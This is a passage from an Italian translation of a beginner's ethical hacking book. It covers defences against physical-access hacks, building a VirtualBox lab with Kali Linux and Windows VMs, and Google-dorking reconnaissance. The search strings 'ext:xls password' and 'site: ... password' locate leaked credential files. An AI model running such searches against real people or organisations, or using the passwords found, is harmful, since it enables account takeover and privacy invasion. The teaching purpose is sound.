A parte l’hack Sticky Keys e l’hack Mac Root, esistono numerosi altri hack con accesso fisico. In realtà, praticamente qualsiasi disco avviabile (per esempio Ultimate Boot CD, KNOPPIX, SystemRescueCd o Trinity Rescue Kit) può consentirti di accedere ai file sul disco rigido di un computer a cui hai accesso fisicamente. Esistono anche degli strumenti di hacking appositamente progettati, come Rubber Ducky e Bash Bunny, che costano meno di 100 euro e sembrano normali chiavette USB, ma contengono strumenti automatici per forzare l’ingresso in un computer. Alcuni hack con accesso fisico utilizzano perfino i comandi vocali. Per esempio, l’attacco Open Seame! utilizzava l’assistente vocale Cortana di Microsoft per bypassare la schermata di login dicendo a Cortana di aprire un file nocivo su un’unità USB o un sito web.

Proteggersi dagli hack con accesso fisico

Come abbiamo visto, un hack con accesso fisico può consentire il recupero di vecchie foto, la copia di file e la modifica degli utenti praticamente su qualsiasi computer che possa essere fisicamente toccato, anche se non si dispone della password originale. Ciò significa, tuttavia, che chiunque abbia l’accesso fisico e conosca questi hack potrebbe accedere ai tuoi file privati! Questo è il motivo per cui è essenziale tenere con te i tuoi dispositivi oppure chiuderli a chiave in un’area sicura.

Se qualcuno dovesse riuscire ad accedere al tuo computer, potresti comunque proteggere i tuoi dati. Uno dei sistemi consiste nell’impostare una password a livello di firmware, nota anche come password BIOS o password EFI. Questa opzione consente, sui Mac e sulla maggior parte dei PC, di evitare che un aggressore possa modificare le impostazioni BIOS/UEFI del computer, neutralizzando in tal modo hack come Sticky Keys e Mac root. Le password a livello di firmware, purtroppo, rappresentano solamente uno strato di difesa, ed è uno strato sottile: non è troppo difficile da penetrare. Per esempio, a un aggressore motivato basta rimuovere la batteria dalla scheda madre del computer, cancellando in tal modo la password memorizzata nel firmware della maggior parte dei PC.

Un metodo migliore consiste nel crittografare i file, rendendoli illeggibili a meno che non vengano prima decrittografati mediante una password. La password crittografica dev’essere diversa da quella di login: in tal modo, un aggressore non riesce a leggere ciò che si trova all’interno dei file crittografati semplicemente modificando la password utente con l’hack Sticky Keys o Mac root. Parleremo più approfonditamente di crittografia nel Capitolo 11.

Cosa ho imparato

In questo capitolo hai imparato a usare l’hack Sticky Keys e Mac root per ottenere i privilegi di amministratore su tutti i file e gli account utente di un computer, anche se non conosci la password e il nome utente. Hai inoltre appreso che esistono altri hack fisici e alcuni strumenti specializzati, come Rubber Ducky e Bash Bunny, che rendono ancora più semplice l’applicazione di un hack fisico. Questi hack possono consentire il recupero di file perduti o il reset di una password dimenticata; purtroppo, però, possono essere utilizzati da un aggressore per accedere al tuo computer e ottenere l’accesso a tutte le tue informazioni private. Per difenderti da questi hack puoi limitare chi ha accesso al tuo computer, impostando una password a livello di firmware, e crittografando i file.

Ora che conosci l’importanza della sicurezza fisica, puoi iniziare a pensare ad altri tipi di attacco che potrebbero mettere in pericolo il tuo computer: siti web dannosi, phishing e allegati e-mail infetti, oltre ad attacchi su dispositivi smart connessi a Internet, che usi normalmente nella tua vita quotidiana. Per mettere in pratica questi tipo di hack in tutta sicurezza e imparare come ci si difende, nel Capitolo 3 vedrai come mettere insieme il tuo laboratorio di hacking virtuale privato.




3

CREARE UN LABORATORIO DI HACKING VIRTUALE
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Per imparare come si fa hacking in tutta sicurezza e, soprattutto, in maniera etica, si utilizzano delle macchine virtuali (VM, virtual machine), ossia programmi che servono a emulare computer virtuali all’interno di un computer fisico. Una VM è isolata dal computer su cui è in esecuzione: in tal modo non può in alcun modo toccare il computer fisico su cui sta girando né la rete. Per esempio, se apri un file infettato da un virus in una VM, il virus può infettare esclusivamente la macchina virtuale, non il computer fisico su cui è in esecuzione.

Per eseguire una macchina virtuale (chiamata anche guest) c’è bisogno di un software di virtualizzazione in esecuzione su un computer fisico (detto host). In questo capitolo impareremo a installare VirtualBox, un programma di virtualizzazione libero, gratuito e open source, oltre al VirtualBox Extension Pack, quindi creeremo due VM: la prima sarà una VM di attacco, sulla quale sarà in esecuzione il sistema operativo Kali Linux. Questa sarà la VM da cui partirai per lanciare gli attacchi. L’altra macchina virtuale sarà la VM target, sulla quale è in esecuzione Windows. Gli hack verranno diretti contro questa macchina. Dopo aver impostato le due VM, potrai sperimentare quanto ti pare gli strumenti di hacking, senza toccare in alcun modo il tuo computer né quello di chiunque altro.

Impostazione di VirtualBox

Segui le istruzioni per scaricare e impostare VirtualBox.

1.Accedi alla home page di VirtualBox all’indirizzo https://www.virtualbox.org/ e clicca sul pulsante Download VirtualBox.

2.Nella pagina di download di VirtualBox è riportato un elenco di opzioni per Windows, macOS e svariate distro Linux. Clicca sull’opzione che corrisponde al computer in tuo possesso per scaricare la versione più recente di VirtualBox. Nota bene: nel momento in cui scriviamo non è ancora disponibile una versione di VirtualBox per i computer Mac con processore Apple (M1 ed M2), ma solo per quelli con processore Intel.

3.Apri il file che hai appena scaricato e segui le istruzioni per installare VirtualBox. Gli utenti Windows devono eseguire il file come amministratori; per eseguire VirtualBox bisogna avere i privilegi di amministratore.

NOTAIn caso di errori, prova a cercare su Internet “come installare VirtualBox su [il tuo sistema operativo]”, oppure a incollare il messaggio d’errore in un motore di ricerca.

Oltre al programma in sé devi installare anche il VirtualBox Extension Pack, che aggiunge alcune funzionalità come il supporto a periferiche USB. Installalo subito.

1.Torna alla pagina dei download di VirtualBox (https://www.virtualbox.org/wiki/Downloads), trova la sezione relativa al VirtualBox Extension Pack e clicca All supported platforms per scaricare l’Extension Pack.

2.Apri VirtualBox. In Windows, fai clic destro sull’icona e scegli Esegui come amministratore.

3.Apri l’Extension Pack dalla cartella Download.

4.Clicca su Installa nella finestra di installazione di VirtualBox Extension Pack.

Creare una macchina virtuale Kali Linux

Ora che hai installato VirtualBox, puoi creare una macchina virtuale Kali Linux. Kali è una distribuzione (o distro, come si usa dire fra gli esperti) utilizzata in tutto il mondo dagli ethical hacker e comprende oltre 600 strumenti di sicurezza e hacking; è il sistema operativo perfetto per la VM d’attacco.

1.Vai a https://www.kali.org/downloads/, scorri verso il basso fino alla sezione Virtual Machines e clicca sul link per aprire la pagina di download delle VM.

2.Clicca su Kali Linux VirtualBox Images per visualizzare le opzioni di download compatibili con VirtualBox. Cerca le immagini VirtualBox; esistono anche immagini per VMware, un software di virtualizzazione non compatibile con VirtualBox.

3.Clicca su Kali Linux VirtualBox 64-Bit per scaricare la VM. Il file pesa circa 4 GB, quindi usa una connessione veloce.

4.Avvia VirtualBox e seleziona File ▶ Importa applicazione virtuale. 5. Clicca sull’icona della cartella sulla destra e cerca il file di Kali Linux. Seleziona il file, clicca su Apri e clicca Successivo (su PC) o Continua (su Mac).

6.Ora viene visualizzata una serie di impostazioni per la VM di Kali Linux. Clicca su Importa per continuare.

7.Quando l’importazione della VM è terminata, la macchina virtuale è riportata nel pannello di sinistra di Oracle VM VirtualBox Manager, come illustrato nella Figura 3.1.
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Figura 3.1: La macchina virtuale di Kali Linux riportata nell’elenco sulla sinistra di VirtualBox Manager.

Man mano che si aggiungono altre macchine virtuali, anch’esse vengono aggiunte all’elenco. Per ora, proviamo la nuova VM di Kali Linux per assicurarci che funzioni sul sistema.

Esecuzione della macchina virtuale di Kali Linux

Fai doppio clic sulla VM di Kali Linux nel pannello di VirtualBox Manager per avviarla. La prima volta che avvii una VM in VirtualBox, potrebbero verificarsi degli errori dovuti alle diverse impostazioni del Mac o del PC. Se hai problemi ad avviare VirtualBox o la VM Kali, consulta l’Appendice B. Quando la VM termina l’avvio, viene presentata una schermata di accesso. Accedi con il nome utente kali e la password kali. Dopo il login, viene visualizzata una schermata con il tipico logo di Kali a forma di drago, come illustrato nella Figura 3.2. Benvenuto in Kali Linux!
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Figura 3.2: La VM Kali Linux è pronta a partire!

Noterai che la versione installata di Kali Linux è in inglese. Se preferisci usare la versione in italiano, puoi procedere come segue.

1.Apri il Terminale di Kali Linux, l’icona a forma di rettangolo nero nel pannello superiore del desktop di Kali.

2.Al prompt del terminale inserisci questo comando: sudo dpkg-reconfigure locales.

3.Nella finestra visualizzata, scorri l’elenco fino a trovare il pacchetto dell’italiano (che inizia con it-it), quindi premi la barra spaziatrice per selezionarlo e Invio per procedere alla sua installazione.

4.Nella finestra seguente, seleziona il pacchetto dell’italiano usando i tasti di direzione, quindi premi Invio.

5.Dopo qualche secondo, i pacchetti dell’italiano sono installati. Per rendere operativa la nuova lingua devi riavviare la VM.

L’uso di un computer all’interno di un computer può disorientare un po’, agli inizi. Quando clicchi dentro la finestra della VM, tastiera e mouse vengono “catturati” al suo interno. Per poterli nuovamente utilizzare sul computer fisico (host), clicca all’esterno della finestra della VM o premi il tasto host; per impostazione predefinita è il tasto CTRL di destra su un PC o una macchina Linux, oppure il tasto ⌘ di sinistra su un Mac. Il tasto host è comunque indicato nell’angolo in basso a destra della finestra della VM.

Se la schermata e le icone della VM sono troppo piccole, vai a Visualizza ▶ Schermo virtuale 1 e prova a cambiare la scala o la risoluzione. Se per qualche tempo non fai nulla con la macchina virtuale, la finestra può diventare inattiva. In questo caso, clicca all’interno della finestra di Kali e premi la barra spaziatrice per risvegliare la macchina.

Prenditi tutto il tempo che vuoi per esplorare Kali Linux. Per connetterti a Internet devi seguire la procedura riportata alla fine del capitolo, ma comunque puoi dare un’occhiata intorno. Clicca sul menu Applicazioni nella parte superiore dello schermo (il pulsante con il logo del drago): viene mostrato un elenco con centinaia di programmi e strumenti. Al momento può sembrarti un po’ preoccupante, ma in questo libro imparerai a usarne diversi e, di conseguenza, anche a capire come funzionano gli altri.

Dopo aver dato un’occhiata in giro, chiudi la finestra della VM di Kali Linux. Viene visualizzata la finestra popup Chiudi macchina virtuale. Scegli Salvare lo stato della macchina e clicca OK. Salvando lo stato della macchina puoi ripartire esattamente dallo stesso punto la prossima volta che apri la VM; è un po’ come mettere il computer in standby invece di spegnerlo completamente. Se però devi riavviare una VM dopo aver installato un software o aver modificato delle impostazioni, scegli Spegni la macchina.

Congratulazioni! Hai creato la tua prima macchina virtuale! Se questa è la prima volta che provi a usare un sistema Linux, puoi farti i complimenti! Con questa VM Kali potrai provare decine di hack contro altre macchine virtuali target, per vedere in che modo si svolge un attacco online e come difendersi. Ora prepareremo una di queste VM target.

Creare una macchina virtuale Windows 10

Ora creerai una seconda macchina virtuale, ma in questo caso eseguirà Windows. Windows è il sistema operativo più diffuso al mondo per computer portatili e fissi; questo è il motivo per cui è il target più comune per attacchi etici e non etici. Pertanto, è un punto di partenza essenziale per imparare ad attaccare e a difendersi. Scaricheremo una VM Windows 10 perfettamente funzionante dal sito web Microsoft Edge Developer. La VM ha una scadenza di 90 giorni; pertanto, dopo averla installata, puoi creare in VirtualBox uno snapshot (una copia identica della macchina virtuale) a cui potrai tornare tutte le volte che vuoi.

1.Accedi a https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/ o cerca il sito web delle macchine virtuali di Microsoft Edge Developer.

2.Scegli una macchina virtuale Windows 10, seleziona VirtualBox come piattaforma e scarica la VM. Il file pesa oltre 6 GB, quindi usa una connessione veloce.

3.Decomprimi il file che hai scaricato.

NOTASe usi macOS, ti occorrerà l’app Unarchiver app (https://theunarchiver.com/) o un’altra utility in grado di decomprimere file più grandi di 4 GB.

4.Avvia VirtualBox e seleziona File ▶ Importa applicazione virtuale. 5. Clicca sull’icona del file sulla destra e cerca il file di della VM di Windows 10, che avrà estensione. ova o. ovf. Scegli il file e clicca su Successivo.

6.Ora viene visualizzata una serie di impostazioni per la VM di Windows. Clicca su Importa per continuare.

7.Al termine dell’importazione, la macchina virtuale di Windows viene visualizzata in VirtualBox Manager accanto alla VM di Kali, come illustrato nella Figura 3.3.
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Figura 3.3: Dopo aver importato la VM di Windows, nel tuo laboratorio di hacking etico avrai due macchine virtuali.

Passiamo ora alla VM di Windows 10 e assicuriamoci che funzioni. Fai doppio clic sulla VM di Windows 10 in VirtualBox Manager. Quando la VM viene caricata, clicca nella finestra per visualizzare il prompt di login di Windows. Accedi con il nome utente predefinito, IEUser, e la relativa password, Passw0rd! (nota che c’è uno zero al posto della lettera o). Se la password non dovesse funzionare, verifica se per caso è cambiata nella pagina di download della VM: dovrebbe essere riportata sotto il pulsante Download.

NOTASe la prima volta che la avvii la VM dovesse metterci troppo tempo, o se si blocca su una schermata inattiva, spegnila e riaccendila.

Quando la macchina viene avviata, prova a esplorarla un po’: è come un normale computer Windows, sebbene sia in inglese.

Per aggiungere la lingua italiana puoi procedere come segue.

1.Seleziona il pulsante Start, quindi scegli Settings ▶ Time & Language ▶ Language.

2.Nella finestra Language clicca su Add a language e scorri l’elenco fino a trovare Italiano (Italia).

3.Clicca su Next, quindi su Install, lasciando selezionate tutte le opzioni.

4.Windows scarica ora l’intero language pack dell’italiano (è un pacchetto di dimensioni piuttosto ampie), quindi lo installa. L’intera operazione può richiedere parecchi minuti.

5.Al termine, riavvia la VM. Ricordati anche di aggiornare il fuso orario. Non potrai ancora navigare su internet, ma nel paragrafo successivo imposteremo la scheda di rete virtuale, così da poterlo fare. Quando avrai finito di esplorare la VM Windows, chiudila e seleziona Chiudi la macchina. Per cambiare le impostazioni di rete devi chiudere completamente la VM.

Ora hai due macchine virtuali: una con Kali Linux e una con Windows 10. Nei capitoli a venire ne installeremo altre man mano che ci serviranno. Non appena connetteremo le due VM, potrai esercitarti nell’hacking e nella difesa, senza mettere a rischio i tuoi computer.

Connettere le macchine virtuali a una rete virtuale

Per impostazione predefinita, le nuove VM vengono connesse a una scheda NAT, il che significa che vi si può accedere solo dal computer host. Per connettere una VM all’altra, oltre che a Internet, occorre invece creare una rete virtuale. Connettere le macchine Kali e Windows a una rete virtuale è un po’ come connetterle alla stessa rete wi-fi.

1.In VirtualBox, vai ai File ▶ Preferenze (o VirtualBox ▶ Preferenze se usi un Mac).

2.Apri la scheda Rete e clicca sull’icona verde Aggiungine una (quella con il segno più) per creare una nuova rete virtuale.

3.Viene creata una nuova rete, con un nome come NatNetwork. Assicurati che la casella sotto la colonna Attivo accanto al nome della rete sia selezionata.

4.Seleziona la rete e clicca sull’icona Impostazioni (quella con l’ingranaggio giallo).

5.Digita PublicNAT nella casella Nome della rete; nella casella Rete CIDR inserisci il valore 10.0.9.0/24 per impostare gli indirizzi IP delle VM.

NOTAGli indirizzi IP sono indirizzi numerici univoci per ogni dispositivo su Internet, un po’ come fossero dei numeri di telefono. Gli indirizzi IP tipici sono costituiti da quattro numeri compresi fra 0 e 255, separati da un punto. La voce 10.0.9.0/24 significa che le macchine virtuali avranno degli indirizzi IP compresi fra 10.0.9.0 e 10.0.9.255, per esempio 10.0.9.4.

6.Lascia selezionata la casella Supporta DHCP e clicca OK due volte per terminare.

Ora bisogna connettere le VM alla rete PublicNET appena creata.

Connettere la VM Kali

Per prima cosa connetteremo la VM Kali alla rete e verificheremo la connessione.

1.In VirtualBox Manager clicca sulla VM Kali, quindi su Impostazioni.

2.Seleziona la scheda Rete e scegli Rete con NAT dalla casella a discesa Connessa a. Nella casella Nome scegli PublicNAT. Clicca OK per salvare le modifiche.

3.Avvia la VM Kali e fai login con il nome utente kali e la password kali, come hai già fatto in precedenza.

4.Quando viene visualizzato il desktop della VM Kali, accedi al terminale cliccando l’icona con il rettangolo nero nel pannello della parte superiore dello schermo, evidenziato da un cerchio nella Figura 3.4.

5.Digita il comando ip addr e premi Invio per visualizzare le informazioni relative alle connnssioni di rete della VM.
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Figura 3.4: Verifica dell’indirizzo IP della VM Kali.

6.Dovresti vedere un indirizzo IP che inizia per 10.0.9 nella sezione eth0:, come quello evidenziato nella Figura 3.4.

Quando viene visualizzato un indirizzo che inizia con 10.0.9, significa che Kali sta utilizzando la rete PublicNAT. Se non vedi un indirizzo come 10.0.9.x, seleziona Macchina ▶ Reset nel menu di VirtualBox per riavviare la VM Kali. Quando la VM viene riavviata, esegui nuovamente il comando ip addr nel terminale. Se ancora non vedi l’indirizzo IP 10.0.9.x, torna indietro e verifica le impostazioni di rete della VM Kali in VirtualBox Manager.

Connettere la VM Windows

La connessione della VM Windows alla rete PublicNAT è praticamente identica alla connessione della VM Kali.

1.Apri VirtualBox Manager, seleziona la VM Windows e clicca su Impostazioni.

2.Clicca sulla scheda Network, seleziona Rete con NAT dalla casella a discesa Connessa a; quindi, scegli PublicNAT dalla casella a discesa Nome. Clicca OK per applicare le impostazioni.

3.Avvia la VM Windows e accedi con nome utente e password predefiniti, come in precedenza.

4.Quando la VM viene caricata, clicca sulla barra di ricerca di Windows (nell’angolo inferiore sinistro della Figura 3.5), digita CMD e premi Invio per aprire il prompt dei comandi di Windows, non troppo dissimile dal Terminale di Kali.

5.Digita il comando ipconfig per visualizzare le impostazioni di rete della macchina virtuale.

6.Dovresti vedere un indirizzo IP nel range 10.0.9.x, come quello indicato nella Figura 3.5.
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Figura 3.5: Verifica delle impostazioni di rete della VM Windows.

Se l’indirizzo visualizzato inizia con 10.0.9, significa che l’operazione di connessione della VM Windows alla rete PublicNAT è riuscita perfettamente; in caso contrario, seleziona Macchina ▶ Reset nel menu di VirtualBox per riavviare la VM, quindi digita nuovamente il comando ipconfig. Se ancora non vedi l’indirizzo IP 10.0.9.x, torna indietro e verifica le impostazioni di rete della VM Windows in VirtualBox Manager.

7.Ora prova la connessione a Internet. Apri il browser Microsoft Edge nella VM Windows e accedi a un indirizzo web qualsiasi, per esempio https://www.nostarch.com/go-hck-yourself/.

Se non riesci ad accedere ad alcun sito web, ripeti i passaggi illustrati in precedenza e prova a chiudere e riavviare la VM Windows.

Aggiornare i sistemi operativi della VM

Ora che le macchine virtuali sono connesse a Internet, possiamo aggiornare i sistemi operativi, per assicurarci che abbiano accesso alle funzionalità più recenti. È sempre consigliabile aggiornare con una certa frequenza un sistema operativo, o attivando gli aggiornamenti automatici o controllando gli aggiornamenti almeno una volta al mese. L’aggiornamento del sistema operativo, infatti, ti protegge da virus, hacker e altre minacce online. È una delle operazioni più importanti che puoi eseguire per difenderti contro i cyberattacchi più recenti.

AVVISOAggiornare le VM Kali e Windows può richiedere parecchie ore, soprattutto su una connessione lenta. Se non disponi di una connessione ad alta velocità, evita di aggiornare il sistema operativo finché non riesci a collegarti in maniera decente. In alternativa, puoi scegliere di fare gli aggiornamenti durante la notte.

Aggiornare Kali Linux

Per aggiornare Kali Linux puoi seguire questa procedura.

1.Avvia la VM Kali e apri il Terminale.

2.Al prompt, digita questo comando per sapere quale software va aggiornato:
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3.La prima volta che usi il comando sudo in una specifica finestra del terminale, Kali chiede di inserire la password. Il comando, un’abbreviazione di “superuser do”, consente di eseguire comandi con privilegi di amministratore (o superuser, cioè superutente, nel linguaggio di Linux). Digita kali come password e premi Invio.

4.Ora esegui gli aggiornamenti digitando questo comando:
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5.Potrebbe essere necessario premere S per confermare determinati aggiornamenti. I diversi pacchetti software vengono visualizzati nella finestra del terminale man mano che sono aggiornati; al termine, viene mostrato il messaggio Fatto.

6.Al termine dell’aggiornamento, chiudi la macchina e salva lo stato.

Aggiornare Windows

Ora aggiorniamo la VM Windows.

1.Avvia la VM Windows, digita aggiornamenti nella barra di ricerca di Windows e scegli Verifica disponibilità aggiornamenti dall’elenco visualizzato.

2.Se ci sono aggiornamenti disponibili per Windows, viene visualizzato un pulsante come Installa ora o Riavvia ora. Clicca sul pulsante per installare gli aggiornamenti. Potrebbe essere necessario riavviare la VM, esattamente come può succedere con un computer reale.

3.Al termine dell’aggiornamento, chiudi Windows e salva lo stato della macchina.

Cosa ho imparato

In questo capitolo hai installato il software di virtualizzazione VirtualBox e hai creato due macchine virtuali (VM), ossia dei sistemi operativi che vengono eseguiti all’interno di un computer fisico. Una delle due VM esegue Kali Linux e sarà il tuo computer di attacco, mentre l’altra esegue Windows e sarà il tuo computer target. Hai inoltre creato una rete virtuale, denominata PublicNAT, per connettere entrambe le VM a Internet, oltre che l’una all’altra. Quindi, hai aggiornato le VM Windows e Kali.

A questo punto il tuo laboratorio di hacking è perfettamente funzionante. Ben fatto! Con le due VM e la rete virtuale, puoi iniziare a provare i diversi hack in modo etico e sicuro, senza mettere a rischio il tuo computer fisico. Nel prossimo capitolo inizieremo a usare il laboratorio per una missione di ricognizione volta a sapere che tipo di informazioni si possono ottenere con un motore di ricerca e dei social media.
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RICOGNIZIONE ONLINE E AUTODIFESA
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Per la maggior parte delle operazioni di hacking, il primo passaggio consiste nella ricognizione, comunemente nota con il termine inglese recon. In una operazione militare, la ricognizione consiste nel valutare il territorio nemico o tenere sotto osservazione un obiettivo. Nel mondo dell’hacking, gli aggressori eseguono le ricognizioni online, raccogliendo informazioni in merito ad aziende, reti e singoli individui utilizzando dei normalissimi motori di ricerca (come Google), le piattaforme di social media e strumenti specializzati; quindi, utilizzano tali informazioni per progettare la fase successiva del piano di hacking.

In questo capitolo imparerai a usare Google per trovare informazioni su di te, cercando nomi utente e password attraverso un Google hacking. La ricognizione procederà poi sui social media; imparerai a proteggerti limitando le informazioni che condividi online: le informazioni che non condividi sono informazioni che non possono essere usate per attaccarti!

Cerca te stesso su Google (prima che lo faccia il nemico)

Un aggressore può usare informazioni pubblicamente disponibili per realizzare un attacco di phishing, nel quale finge di essere qualcuno che conosci per mandarti un’e-mail falsa in cui ti chiede informazioni personali, per esempio una password. Molti siti web aziendali dispongono di un elenco dei propri dipendenti, con tanto di nome e indirizzo e-mail; un aggressore potrebbe utilizzare tali informazioni disponibili pubblicamente per organizzare un attacco di phishing, o peggio.

Vediamo che cosa potrebbe trovare, su di te, un potenziale aggressore. Apri un browser web e cerca il tuo nome. Io ho cercato il mio su Google, come illustrato nella Figura 4.1.
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Figura 4.1: Cerca il tuo nome in un motore di ricerca.

Chiunque abbia accesso a Internet può scoprire che mestiere faccio, dove lavoro e i libri che ho scritto, oltre ai corsi online che tengo su programmazione e cybersecurity. Cliccando sui link dei risultati le informazioni che si possono ricavare sono ancora di più, ivi compresa l’auto che usavo nel 2018 e alcuni dei miei indirizzi e-mail. Analogamente, tu potresti per esempio comparire all’interno di qualche foto scattata in occasione di un evento aziendale, in articoli di giornale, squadre sportive, organizzazioni ecclesiastiche o gruppi no profit, oltre che su pagine e post di social media. Il tuo nome o la tua immagine potrebbero comparire addirittura in articoli che parlano della tua famiglia, oppure in ritrovi di classe del liceo o dell’università, roba che manco immaginavi esistesse su Internet.

Spesso, per scoprire dove una persona lavora, vive, è cresciuta, chi sono i membri della sua famiglia e numerose altre informazioni è sufficiente fare una ricognizione di pochi minuti. Una persona dotata di queste informazioni e nessun’altra non rappresenta un grande pericolo, ma se le informazioni fossero parecchie un aggressore potrebbe creare un profilo completo, con tanto di nome dei membri della famiglia, date di nascita, nome degli animali domestici, luogo di lavoro e abitazione e via dicendo. Con queste informazioni fra le mani, un aggressore potrebbe riuscire a rispondere a domande di sicurezza per recuperare una password, oppure fingersi qualcuno che conosci per tirarti fuori ancor più informazioni.

È sempre più difficile proteggere le proprie informazioni personali, ma con un minimo di accortezza puoi evitare di commettere errori molto comuni, mentre la conoscenza di alcune abilità di consente di trovare informazioni che potrebbero già essere trapelate su di te, sulla tua azienda o sulla tua famiglia, ivi compresi i tuoi account online e le tue password.

Ricerca avanzata su Google

Una semplice ricerca sul Web è un buon punto di partenza per la ricognizione, ma la vera potenza di Google – il cosiddetto Google hacking – sta nell’impiego della ricerca avanzata. Grazie alla ricerca avanzata puoi trovare nomi utente, password, immagini delle videocamere di sicurezza e altro. Le tecniche di Google hacking, tuttavia, mettono a rischio anche te, perché potrebbero farti scaricare un malware. Per migliorare la protezione, metti in atto queste azioni difensive:

•Porta avanti le ricerche all’interno della macchina virtuale Kali Linux che hai creato nel Capitolo 3. Ricordati: le azioni eseguite all’interno di una VM non hanno effetto sul computer fisico, il che significa che la VM offre un fondamentale livello di sicurezza aggiuntivo. Se apri un file infetto all’interno di una VM, puoi semplicemente eliminarlo e reinstallare la macchina virtuale.

•Verifica se un link è infetto da virus prima di cliccarci sopra: questa è sempre una misura di sicurezza consigliabile, anche all’interno di una VM. A questo scopo puoi usare VirusTotal, uno strumento online che esegue la scansione di pagine web, file e link, verificando se contengono malware. Nel prossimo paragrafo useremo VirusTotal per eseguire la scansione di un file di password prima di aprirlo.

•Installa sul computer un software antivirus che intervenga se clicchi accidentalmente su un link all’esterno della VM e un malware riuscisse ad arrivare fino al computer durante una ricerca.

Il Google hacking si basa su un uso sofisticato degli operatori di ricerca, ossia i simboli o le parole che rendono più precisi i risultati di una ricerca. Probabilmente già conosci alcuni operatori di ricerca fondamentali; per esempio, mettendo fra virgolette (" ") una frase, se ne esegue la ricerca letterale, invece di cercare le singole parole contenute. Gli operatori AND e OR possono contribuire a trovare pagine che contengano entrambe le parole cercate (stampante AND 3d) o almeno una delle due parole (programmazione OR cyber).

Altri operatori di ricerca sono meno noti, ma possono rappresentare degli strumenti di hacking potenti. Per esempio, l’operatore ext: cerca estensioni di file specifiche, ossia la parte del nome di file che segue il punto e che ne indica il tipo nei sistemi Windows. Per esempio, docx è l’estensione tipica dei documenti Microsoft Word, txt indica i file di testo, pdf i file PDF, xlsx i fogli di calcolo di Microsoft Excel e così via. L’operatore site: cerca i risultati all’interno di siti specifici; per esempio, puoi eseguire una ricerca con site:nostarch.com o site:tuaazienda.it.

Gli hacker sanno bene come usare questi operatori per trovare tipi di file specifici che potrebbero contenere informazioni più preziose, come la password predefinita per un determinato tipo di telecamera di videosorveglianza memorizzata nella versione PDF del manuale utente che si trova tranquillamente online. Un ethical hacker che esegue una ricognizione per un cliente può usare questi termini per aiutare un’azienda a rimuovere dati sensibili che potrebbero rimanere esposti al pubblico, come un foglio di calcolo contenente la marca di videocamere di sorveglianza adottate l’anno prima.

Trovare le password con l’operatore ext:

Internet è piena di informazioni sensibili, come nomi utente e password, se si sa dove (e come) cercarle. Proviamo a usare l’operatore di ricerca ext: per cercare dei fogli di calcolo contenenti elenchi di password.

Apri il browser web nella macchina virtuale di Kali Linux e vai all’indirizzo https://www.google.com/, quindi digita ext:xls password nel campo di ricerca, come illustrato nella Figura 4.2.

Ricordati: non cliccare su nessuno dei risultati! Un aggressore potrebbe tranquillamente nascondere un virus o un ransomware in un foglio di calcolo infetto, o fare in modo che una pagina web infetta abbia l’aspetto di un foglio di calcolo agli occhi del motore di ricerca. Il ransomware è un tipo di malware particolarmente aggressivo, che crittografa tutti i file e ti chiede un riscatto (ransom in inglese) per consentirti di accedere nuovamente ai tuoi dati.

Con ogni probabilità la ricerca darà i suoi frutti e verranno elencati decine e decine di nomi utente e password direttamente nella pagina di ricerca. Se vuoi restringere la ricerca, puoi aggiungere ulteriori termini.

Per esempio, alla mia ricerca ho aggiunto la stringa DCCC (acronimo di Democratic Congressional Campaign Committee, comitato per la campagna elettorale dei democratici al congresso); i primi risultati della Figura 4.2 riportano un elenco di password che si presume siano state rubate da hacker (non etici) nel tentativo di interferire con le elezioni presidenziali statunitensi del 2016.
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Figura 4.2: Digitando ext:xls password vengono trovati dei file Excel pieni di nomi utente e password.

Dopo aver trovato un risultato interessante, procedi come segue.

1.Copia l’URL di uno di questi file: evidenzia l’indirizzo del link nei risultati di Google, fai clic destro (Ctrl+clic su un Mac) e seleziona Copia indirizzo link o Copia posizione link.

2.Apri VirusTotal (https://www.virustotal.com/) in una scheda del browser, clicca sulla scheda URL e incolla l’URL che hai appena copiato nel campo di ricerca, come illustrato nella Figura 4.3.
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Figura 4.3: Verifica sempre i link sospetti prima di cliccarci sopra eseguendone una scansione con VirusTotal.

3.Clicca sull’icona di ricerca (la lente di ingrandimento) per eseguire la scansione del link. Nella Figura 4.4, VirusTotal ha analizzato il foglio di calcolo con oltre 60 antivirus, nessuno dei quali ha trovato il minimo segno di infezione.

A questo punto, un hacker non etico potrebbe aprire uno o più di questi fogli di calcolo per vedere se riesce a trovare informazioni di login e password utilizzabili. In qualità di ethical hacker, possiamo invece scegliere di rispettare la privacy delle persone e, di conseguenza, non aprire il file. Se invece questa ricerca viene eseguita per conto di un cliente, possiamo verificare il file e far sapere al cliente che le loro informazioni sono pubblicamente disponibili, mettendo a rischio la sicurezza.
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Figura 4.4: Il foglio di calcolo delle password che abbiamo selezionato sembra sicuro da aprire.

NOTAI file potrebbero contenere malware avanzato che non viene rilevato dalle normali scansioni antivirus operate da VirusTotal. Questo è uno dei motivi per cui questo tipo di esercizio va svolto all’interno di una macchina virtuale, e mai direttamente nel tuo computer.

Prova a eseguire nuovamente la ricerca, stavolta digitando ext:txt o ext:pdf, per verificare eventuali altri tipi di file che potrebbero contenere delle password.

Prova ora a cercare specificamente le informazioni che riguardano te stesso. Cerca un tuo nome utente e la parola password, aggiungendo l’operatore ext: per cercare vari tipi di file (per esempio, bryson_payne AND password ext:xls). Non digitare mai la tua password in Google né in alcun altro motore di ricerca.

Se trovi una delle tue password online, cambiala immediatamente.

Trovare le password con l’operatore site:

Puoi usare l’operatore di ricerca site: per cercare password trapelate in uno specifico sito web. Per esempio, nella Figura 4.5 ho digitato site:ung.edu password in Google per scoprire se nel server pubblico della University of North Georgia è stata memorizzata la password di qualche studente o facoltà. Questa purtroppo è un’eventualità che si presenta più spesso di quanto si possa pensare: a volte un file o una cartella privati finiscono su un server pubblico, oppure un insegnante o un amministratore crea un file pubblico con le password dei nuovi utenti e si dimentica di rimuoverlo.
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Figura 4.5: Utilizzare l’operatore di ricerca site: per cercare i risultati sul sito web di una specifica organizzazione.

Come puoi notare, non ci sono file di testo né fogli di calcolo, ma l’ultimo risultato è un vecchio articolo che riguarda la password predefinita assegnata agli studenti che arrivano all’università. All’epoca in cui l’articolo è stato pubblicato, un aggressore avrebbe potuto utilizzare questa informazione per forzare l’accesso di migliaia di studenti appena arrivati.

L’operatore site: può essere combinato anche con altri operatori. Per esempio, la stringa ext:pdf site:ung.edu bryson_payne AND password cerca dei file PDF sul sito web della mia università che contengano il mio nome utente e la parola password.

